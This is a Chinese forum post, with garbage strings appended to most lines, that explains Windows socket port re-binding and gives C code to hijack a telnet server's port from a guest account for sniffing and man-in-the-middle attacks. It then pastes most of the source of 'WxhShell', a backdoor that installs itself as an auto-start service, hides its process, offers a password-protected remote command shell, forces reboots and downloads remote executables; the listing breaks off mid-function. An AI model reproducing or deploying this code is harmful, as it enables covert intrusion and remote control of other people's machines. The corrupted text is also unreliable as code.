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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .6D9m.Q,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +\O[)\  
~1yMw.04V  
  saddr.sin_family = AF_INET; tuiQk=[ c  
!(wH}ti  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 11Hf)]M   
tSvklI  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =!cI@TI  
t|Ipxk.)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p!~{<s]  
"=BO,see9  
  这意味着什么?意味着可以进行如下的攻击: 5h4E>LB.B  
%Fg}"=f1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g}]EIv{  
0fd\R_"d.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) U~w g'  
MN22#G4j^w  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 m*^|9*dIC  
mzX <!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  l6S6Y  
&PAgab2$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %VCfcM}5I  
U5z}i^8a  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {)vue0 vP  
Q$(0Nx<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n*oa J<o%  
A' \jaB  
  #include F|DKp[<]8  
  #include ]U,K]y[Bj  
  #include U|%y `PZ  
  #include    h1 D#,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (BA2   
  int main() ;|Z;YK@20  
  { dTV:/QM  
  WORD wVersionRequested; K~#wvUb  
  DWORD ret; p~sfd  
  WSADATA wsaData; ~',}]_'oR-  
  BOOL val; I'[hvp  
  SOCKADDR_IN saddr; Sl{nS1q  
  SOCKADDR_IN scaddr; -*K!JC-  
  int err; `>q|_w \e  
  SOCKET s; B az:N 6u  
  SOCKET sc; s\`Vr;R:|  
  int caddsize;  yq ?_#r  
  HANDLE mt; _0rHxh7}q  
  DWORD tid;   GD$jP?  
  wVersionRequested = MAKEWORD( 2, 2 ); 2 8j=q-9Z  
  err = WSAStartup( wVersionRequested, &wsaData ); `37GVo4  
  if ( err != 0 ) { /I' n]  
  printf("error!WSAStartup failed!\n"); B9 Dh^9?L  
  return -1; / h6(!-"  
  } Z`?<Ada  
  saddr.sin_family = AF_INET; Jb~-)n2  
   E00zf3Jgv'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 UEq;}4Bo  
I>27U<PX  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >t"]gQHtx  
  saddr.sin_port = htons(23); J9LS6~ 7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I@=h|GM  
  { m\lSBy6  
  printf("error!socket failed!\n"); ,qRSB>5c  
  return -1; 3"gifE  
  } RTSR-<{z  
  val = TRUE; {}3kla{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /)i)wxi  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) sK:,c5^  
  { {I |k@  
  printf("error!setsockopt failed!\n"); 8i;N|:WdH  
  return -1; v}IP%84  
  } I_yIVw;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; r<oI4px  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6bg+U`&g  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 dv0TJ 0%  
0;)6ZU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) z#!xqIg0  
  { 7[-jr;v  
  ret=GetLastError(); v.1= TBh  
  printf("error!bind failed!\n"); (oxe\Qk  
  return -1; lxK_+fj q  
  } yvxC/Jo4  
  listen(s,2); \2<2&=h?  
  while(1) ISr~JQr  
  { r1FE$R~C=  
  caddsize = sizeof(scaddr); 5Ag>,>kJ6  
  //接受连接请求 Xl6)&   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4[3T%jA  
  if(sc!=INVALID_SOCKET) @2_s;!K  
  { +k"dN^K]D  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Et'C4od s  
  if(mt==NULL) wN)R !6  
  { |4Ix2GD  
  printf("Thread Creat Failed!\n"); bE>3D#V<  
  break; ABV\:u  
  } ^+[o +  
  } 2vnzB8 "k  
  CloseHandle(mt); FGx_ qBG4|  
  } dITnPb)i  
  closesocket(s); G 7)D+],{Y  
  WSACleanup(); +^+wS`Y  
  return 0; (W/jkm  
  }   2al~`  
  DWORD WINAPI ClientThread(LPVOID lpParam) >V(2Ke Y  
  { ke>\.|HT}  
  SOCKET ss = (SOCKET)lpParam; Gx ZQ{ \  
  SOCKET sc; *vhm  
  unsigned char buf[4096]; LbR/it'}  
  SOCKADDR_IN saddr; RQ,(?I*8\  
  long num; [Pp#l*  
  DWORD val; !E_uQ?/w]Z  
  DWORD ret;  ioi  
  //如果是隐藏端口应用的话,可以在此处加一些判断 oz5o=gt7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   LO61J_J<  
  saddr.sin_family = AF_INET; nu0bJ:0aLd  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dr6 dK  
  saddr.sin_port = htons(23); YY!(/<VI  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _ga!TQ:  
  { b+p!{  
  printf("error!socket failed!\n"); 8VcAtrx_  
  return -1; W? UCo6<m  
  } 0h shHv-  
  val = 100; Vd<= y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [bPE?_a,  
  { a`pY&xq::  
  ret = GetLastError(); eZHzo  
  return -1; H5RHA^p|  
  } n'*Ljp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~vl:Tb  
  { 3}:pD]`h  
  ret = GetLastError(); C6"!'6 W  
  return -1; 2K*-uT#$~  
  } ] |`gTD6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) paBGJ~{=  
  { el|t6ZT*  
  printf("error!socket connect failed!\n"); ~POeFZ  
  closesocket(sc); ^}1RDdQ"U  
  closesocket(ss); oh@r0`J]x  
  return -1; RO.(k!J .  
  } vWkKNB  
  while(1) "(efd~.]  
  { wCt+{Y3T  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4\OELU  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 hTG d Uw]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 pO+1?c43  
  num = recv(ss,buf,4096,0); W=EO=}l#  
  if(num>0) UiZ61lw  
  send(sc,buf,num,0); <Ab:yD`K!  
  else if(num==0) (Z"Xp{u  
  break; aq5<Ks`r  
  num = recv(sc,buf,4096,0); O[L8(+Sn  
  if(num>0) wO!hVm,T a  
  send(ss,buf,num,0); Y!7P>?)`,X  
  else if(num==0) k(qQvn  
  break; g?$9~/h :;  
  } }"&(sYQ*`  
  closesocket(ss); C(0Iv[~y/  
  closesocket(sc); 17i^|&J6}:  
  return 0 ; *Yr-:s9J9  
  } PRz oLzr  
%xZ.+Ff%  
GO)rpk9  
========================================================== /MU<)[*Ro  
RrZjC  
下边附上一个代码,,WXhSHELL Nz}Q"6L  
#wjBMR%  
========================================================== .FXQ,7mZ-  
f.P( {PN  
#include "stdafx.h" ;Z`)*TRp4  
kTk?[BK  
#include <stdio.h> {f&ga  
#include <string.h> _uu:)%  
#include <windows.h> :> q?s  
#include <winsock2.h> Y>#c2@^i<  
#include <winsvc.h> j d8 1E  
#include <urlmon.h> OXacI~C  
*(scSC>  
#pragma comment (lib, "Ws2_32.lib") ]Cz16e&=2  
#pragma comment (lib, "urlmon.lib") qJ/C*Wqic  
8Cqs@<r4Od  
#define MAX_USER   100 // 最大客户端连接数 "|G,P-5G"  
#define BUF_SOCK   200 // sock buffer *"CvB{XF&Z  
#define KEY_BUFF   255 // 输入 buffer lhI;K4#  
|K_B{v.   
#define REBOOT     0   // 重启 f!J^vDl  
#define SHUTDOWN   1   // 关机 6'%]6"&M4  
e"CLhaT  
#define DEF_PORT   5000 // 监听端口 )g --=w3  
aOD"z7}U  
#define REG_LEN     16   // 注册表键长度 VxFy[rP  
#define SVC_LEN     80   // NT服务名长度 ``<1Lo@  
^"l$p,P+  
// 从dll定义API 5VTbW   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); []]3"n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g7P1]CZ}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |:#mw 1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E nvs[YZe  
9>#|~P&FE  
// wxhshell配置信息 JJ~?ON.H  
struct WSCFG { _)l %-*Z7p  
  int ws_port;         // 监听端口 biG9?  
  char ws_passstr[REG_LEN]; // 口令 84[^#ke  
  int ws_autoins;       // 安装标记, 1=yes 0=no r9Z/y*q  
  char ws_regname[REG_LEN]; // 注册表键名 19.cf3Dh  
  char ws_svcname[REG_LEN]; // 服务名 0c5_L6_z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZH(.| NaH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C#~MR+;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `aUp&8{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @,MdvR+a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /( V=Um^0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qj6`nbZ{va  
t4IJ%#22  
}; 0uz"}v)  
Rpk`fxAO  
// default Wxhshell configuration 5G<CDgl^!  
struct WSCFG wscfg={DEF_PORT, 4cQ5E9  
    "xuhuanlingzhe", {Pb^Lf >  
    1, Flxo%g};  
    "Wxhshell", QRlzGRueR&  
    "Wxhshell", Ng"vBycy  
            "WxhShell Service", i-?zwVmn  
    "Wrsky Windows CmdShell Service", RNdnlD#P  
    "Please Input Your Password: ", y2R=%EFh6  
  1, re!8nuBsA  
  "http://www.wrsky.com/wxhshell.exe", %-l:_A  
  "Wxhshell.exe" PBL^xlg  
    }; OD]J@m  
a+/|O*>#  
// 消息定义模块 X6.O ;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :xPvEK[B7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TyWy5J< :+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]uvbQ.l_t  
char *msg_ws_ext="\n\rExit."; 5G!U'.gr  
char *msg_ws_end="\n\rQuit."; f4S@lyYF  
char *msg_ws_boot="\n\rReboot..."; {{3H\ rR  
char *msg_ws_poff="\n\rShutdown..."; S7a6ntei  
char *msg_ws_down="\n\rSave to "; C):d9OI?  
y^=oYL  
char *msg_ws_err="\n\rErr!"; *?D2gaCta  
char *msg_ws_ok="\n\rOK!"; 3~</lAm;  
%5*#c*)R  
char ExeFile[MAX_PATH]; > bF!Y]H  
int nUser = 0; <S$21NtM87  
HANDLE handles[MAX_USER]; i8Y gG0[)  
int OsIsNt; wWw/1i:|'  
M:M>@|)  
SERVICE_STATUS       serviceStatus; A{2$hKqHi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; txo?k/w  
vB5iG|b}  
// 函数声明 +&,\ J9'B  
int Install(void); PAwg&._K  
int Uninstall(void); z8|9WZ:  
int DownloadFile(char *sURL, SOCKET wsh); O{#Cddt:r  
int Boot(int flag);  #U52\3G  
void HideProc(void); X-$td~r  
int GetOsVer(void); )6E*Qz  
int Wxhshell(SOCKET wsl); A9UaLSe  
void TalkWithClient(void *cs); !>y}Xq{bm3  
int CmdShell(SOCKET sock); +)JqEwCrq  
int StartFromService(void); |u;BAb  
int StartWxhshell(LPSTR lpCmdLine); / JeqoM"x  
W<91m*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &PuJV +y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3cO[t\/up  
+g6j =%  
// 数据结构和表定义 )ek 5  
SERVICE_TABLE_ENTRY DispatchTable[] = XOg(k(&T  
{ KOEi_9i}  
{wscfg.ws_svcname, NTServiceMain}, DD 5EHJR  
{NULL, NULL} Gu`Vk/&  
}; ** r?    
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// 自我安装 ""'eTpe  
int Install(void) 2{kfbm-89t  
{ UT<b v}(J  
  char svExeFile[MAX_PATH]; Qz)8eIO:  
  HKEY key; 0D3+R1>_D  
  strcpy(svExeFile,ExeFile); k*3_) S -  
%4|}&,%%r  
// 如果是win9x系统,修改注册表设为自启动 ^P g YP  
if(!OsIsNt) { ,XG|oo -  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M(zY[O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qb> r\bc  
  RegCloseKey(key); T 0v@mXBQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sq(Ar(L<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E'S;4B5?  
  RegCloseKey(key); dU>R<jl!$  
  return 0; liw 9:@+V  
    } +'j*WVE%5  
  } OO\biYh o  
} /Np"J  
else { b/,!J] W  
cvV?V\1f  
// 如果是NT以上系统,安装为系统服务 3b)T}g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VgsCwJ9w  
if (schSCManager!=0) 2<o[@w  
{ [G[{l$Eit  
  SC_HANDLE schService = CreateService O|OSE  
  ( a^\- }4yR  
  schSCManager, P tQ#  
  wscfg.ws_svcname, renmz,dJ,  
  wscfg.ws_svcdisp, Be>c)90bO_  
  SERVICE_ALL_ACCESS, O<Sc.@~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _HHJw""j  
  SERVICE_AUTO_START, VWA-?%r  
  SERVICE_ERROR_NORMAL, Y0X94k.u  
  svExeFile, hW !@$Ph  
  NULL, #D LT-G0  
  NULL, h[je_^5  
  NULL, B,vHn2W  
  NULL, JNM@Q  
  NULL 76_8e{zbr  
  ); fFZ` rPb  
  if (schService!=0) ,gL)~6!A  
  { N 1f~K.e\  
  CloseServiceHandle(schService); .H (}[eG_  
  CloseServiceHandle(schSCManager); oF b mz*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1Q&WoJLfR  
  strcat(svExeFile,wscfg.ws_svcname); t:"=]zUU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {`Fx~w;i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G<u.+V  
  RegCloseKey(key); *VC4s`<  
  return 0; vgQhdtt  
    } %<J(lC9,C  
  } `YmI'  
  CloseServiceHandle(schSCManager); Q0q)n=i }]  
} )' x/q  
} t`8e#n 9  
\|pK Z6*s  
return 1; wO_pcNYZ8  
} A.$VM#  
RZ)vU'@kx  
// 自我卸载 1f@U :<:  
int Uninstall(void) uWR,6\_jY  
{ HDSA]{:sl  
  HKEY key; z@%/r~?|  
~Miin   
if(!OsIsNt) { {F(-s"1;xO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $O~F>.*  
  RegDeleteValue(key,wscfg.ws_regname); m['v3m:  
  RegCloseKey(key); 01-\:[{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s9_`Wrg?  
  RegDeleteValue(key,wscfg.ws_regname); _]=TFz2O  
  RegCloseKey(key); cEdz;kbUM  
  return 0; *<.WL"Qhl  
  } Yn$>QS 4  
} SD|4ybK>d  
} c5iormb"#  
else { m.HX2(&\3  
qtdxMX]iR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J]|6l/i  
if (schSCManager!=0) K.#,O+-Kg`  
{ / UaNYv/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C6D=>%uY  
  if (schService!=0) liCCc;&B;  
  { RQ*|+ ~H  
  if(DeleteService(schService)!=0) { !4 4mT'Y  
  CloseServiceHandle(schService); #.MIW*==  
  CloseServiceHandle(schSCManager); L.T gJv43  
  return 0; ?HEtrX,q  
  }  J:~[ j  
  CloseServiceHandle(schService); p-Rm,xyL%  
  } -VreBKn  
  CloseServiceHandle(schSCManager); 3lLW'g&=  
} XUQW;H  
} oieQ2>lYh  
~.4W,QLuD  
return 1; u"#6_-0y  
} o&hKg#nO83  
L.IoGUxD  
// 从指定url下载文件 B~V<n&<  
int DownloadFile(char *sURL, SOCKET wsh) 75\RG+kQ  
{ U+9- li  
  HRESULT hr; Pghva*&  
char seps[]= "/"; AT%* ~tr  
char *token; As6)_8w  
char *file; Yhc6P%{Z^  
char myURL[MAX_PATH]; M!&_qj&N,  
char myFILE[MAX_PATH]; HIPcZ!p  
IFC%%I t5,  
strcpy(myURL,sURL); |c 06ix;).  
  token=strtok(myURL,seps); <4l.s  
  while(token!=NULL) Qr|N)  
  { I8<Il ^  
    file=token; Giy3eva2  
  token=strtok(NULL,seps); y"|K |QT  
  } t`<}UWAH+  
teq^xTUF[  
GetCurrentDirectory(MAX_PATH,myFILE); #51 4a(6  
strcat(myFILE, "\\"); pIZLGsu[  
strcat(myFILE, file); r6F{  
  send(wsh,myFILE,strlen(myFILE),0); >+Sv9S  
send(wsh,"...",3,0); e'k;A{Oh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ueWR/  
  if(hr==S_OK) HO%E-5b9  
return 0; 2d5}`>  
else #sz]PZ\  
return 1; 2A*X Hvwb  
)Y&MIJ7>@  
} B^8ZoF  
LaIW,+  
// 系统电源模块 + AcKB82  
int Boot(int flag) ?o(ZTlT  
{ Aj8l%'h[  
  HANDLE hToken; njy~   
  TOKEN_PRIVILEGES tkp; >zPO>.?h7T  
K;<NBnH  
  if(OsIsNt) { P[Y{LKAbb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $'A4RVVT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iX8h2l  
    tkp.PrivilegeCount = 1; a' IX yj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (*Gi~?-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ysSjc  
if(flag==REBOOT) { 38V $<w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^3Z7dIUww  
  return 0; $ 7U Dz  
} Ij;==f~G  
else { x !#Ma  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]k[ Q]:q  
  return 0; 8BYIxHHz  
} .DgoOo%?"  
  } e={k.y }x}  
  else { yPf?"W  
if(flag==REBOOT) { ! 6p>P4TT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o|z+!,  
  return 0; Q  `e~MD  
} >:w?qEaE  
else { jgk{'_ j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `FZ(#GDF  
  return 0; K)<Wm,tON  
} b\SXZN)Be  
} {c v;w  
6V'wQqJ  
return 1; QRsqPh&-  
} NEq t).   
Y5n z?a  
// win9x进程隐藏模块 VKq0 <+M  
void HideProc(void) $Nj'OJSj%  
{ 8q_1(& O  
r5f^WZ$-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +IwdMJ8&8  
  if ( hKernel != NULL ) Xtuhcdzu[  
  { Pk$}%;@v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W0VA'W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D3<IuWeM  
    FreeLibrary(hKernel); >}ro[x`K  
  } 9 b?i G  
[Xxw]C6\>(  
return; l%^h2 o  
} o `b`*Z  
6!4';2Q  
// 获取操作系统版本 Dl0/-=L  
int GetOsVer(void) F{TC#J}I%'  
{ y<O@rD8iA  
  OSVERSIONINFO winfo; 8B}'\e4i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !a' K &  
  GetVersionEx(&winfo); IkSX\*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e{v,x1Y_z(  
  return 1; L@7Qs6G2u  
  else gb.f%rlZ`  
  return 0; Q{H17]W  
} wY' "ab  
M%7`8KQ  
// 客户端句柄模块 @''&nRC1  
int Wxhshell(SOCKET wsl) w@87]/4Rq  
{ _aVJ$N.  
  SOCKET wsh; /)sDnJ1r  
  struct sockaddr_in client; * eA{[  
  DWORD myID; Gh2#-~|cB  
%GM>u2baw  
  while(nUser<MAX_USER) ^$e0t;W=  
{ /m97CC#+  
  int nSize=sizeof(client); `-~`<#E[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }16&1@8  
  if(wsh==INVALID_SOCKET) return 1; l*$WX=h6n  
?g5iok {  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4BHtR017r  
if(handles[nUser]==0) a`DWpc~  
  closesocket(wsh); L30>| g  
else 2>\b:  
  nUser++; ksTzXG8  
  } .6\T`6H=a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7*+Km'=M  
YkSuwx@5_q  
  return 0; ZH\0=l)  
} @/9>=#4c  
3.(.*>  
// 关闭 socket Hr(6TLNw  
void CloseIt(SOCKET wsh) | @uq()  
{ DYc.to-  
closesocket(wsh); 9~=gwP  
nUser--; 1Wv{xML"  
ExitThread(0); #]@9qPyn  
} cZ^wQ5=  
5(423"(y  
// 客户端请求句柄 Ud$Q0m&  
void TalkWithClient(void *cs) ])eOa%  
{ U9x4j_.q  
pfR"s:#  
  SOCKET wsh=(SOCKET)cs; +eU`H[iu  
  char pwd[SVC_LEN]; ?2/uSG|  
  char cmd[KEY_BUFF]; v5B" A"N  
char chr[1]; Dh2#$[/@1  
int i,j; :=y0'f V(@  
l`DtiJ?$$0  
  while (nUser < MAX_USER) { FQ U\0<5  
g`kY]lu  
if(wscfg.ws_passstr) { ZOp^`c9~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oL#xDG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +a #lofhv  
  //ZeroMemory(pwd,KEY_BUFF); Gv;;!sZ  
      i=0; Jff 79)f  
  while(i<SVC_LEN) { Bw6L;Vu  
;xhOj<:  
  // 设置超时 *vb^N0P  
  fd_set FdRead; n|6?J_{<b>  
  struct timeval TimeOut; 'm[6v}  
  FD_ZERO(&FdRead); f?Z|>3.2  
  FD_SET(wsh,&FdRead); `N$!s7M  
  TimeOut.tv_sec=8; Tj&'KF8?L  
  TimeOut.tv_usec=0; #$FY+`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n"iNKR>nW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CldDr<k3  
NaF(\j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  U7E  
  pwd=chr[0]; o_sQQF  
  if(chr[0]==0xd || chr[0]==0xa) { y86))  
  pwd=0; 0D<TF>M;pn  
  break; cI3y  
  } 7^Na9]PY  
  i++; ~> PgJ ^G  
    } -]/7hN*v  
A])OPqP{  
  // 如果是非法用户,关闭 socket O"\nR:\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Cw%BZ  
} RE 9nU%!  
MA$Xv`6I\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |gW    
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (|dPeix|  
<~N%W#z/  
while(1) { Vg{Zv4+t  
p!}ZdX[u  
  ZeroMemory(cmd,KEY_BUFF); 7u::5W-q  
eHUg-\dy  
      // 自动支持客户端 telnet标准   4#_$@ r  
  j=0; R5~gH6K|  
  while(j<KEY_BUFF) { '#A:.P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Xk?R mU6  
  cmd[j]=chr[0]; e{0L%%2K  
  if(chr[0]==0xa || chr[0]==0xd) { x~EKGoz3  
  cmd[j]=0; JD ]OIh  
  break; 1Fs-0)s8  
  } 0vn[a,W<A  
  j++; gM#jA8gz  
    } 3"Yif  
v77fQ0w3  
  // 下载文件 ZjS(ad*.2  
  if(strstr(cmd,"http://")) { /=T H08  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XMw.wQ '?  
  if(DownloadFile(cmd,wsh)) Ny^'IUu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~r&D6Y  
  else TY~Vi OC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +;dXDZ2  
  } q? 9GrwL8F  
  else { ] IS;\~  
1[s0Lz  
    switch(cmd[0]) { iX%n0i  
  > ws!5q  
  // 帮助 @cIgxp  
  case '?': { [Tp%"f1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J(e7{aRJ9  
    break; U(*yL-  
  } M&f#wQ  
  // 安装 4-V)_U#8  
  case 'i': { O,|\"b1(  
    if(Install()) t8/%D gu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yj zK.dM  
    else ~RInN+N#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @VK6JjIq  
    break; Ak A!:!l  
    } @1bH}QS  
  // 卸载 CW-Ae  
  case 'r': { _*E!gPO  
    if(Uninstall()) #ib^Kg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c+2sT3).D  
    else a+Ab]m8`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rh<N);Sl7  
    break; QPs:RhV7  
    } [;^,CD|P  
  // 显示 wxhshell 所在路径 =|,A%ZGF$  
  case 'p': { =cn~BnowY  
    char svExeFile[MAX_PATH]; ?Ht=[l=  
    strcpy(svExeFile,"\n\r"); )Gb,^NGr  
      strcat(svExeFile,ExeFile); X;VQEDMPU  
        send(wsh,svExeFile,strlen(svExeFile),0); OH6n^WKY  
    break; >f$NzJ}  
    } oH X$k{6  
  // 重启 uR_F,Mp?%u  
  case 'b': { uPLErO9Es[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m$:&P|!'p  
    if(Boot(REBOOT)) 6/1$< !WH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V`bs&5#Sx  
    else { si(cOCj/  
    closesocket(wsh); ($>XIb9f  
    ExitThread(0); [s}/nu~U  
    } 8r^ ~0nm  
    break; wkBL=a  
    } 3?`"  
  // 关机 ?WHy0x20  
  case 'd': { #epy%>  
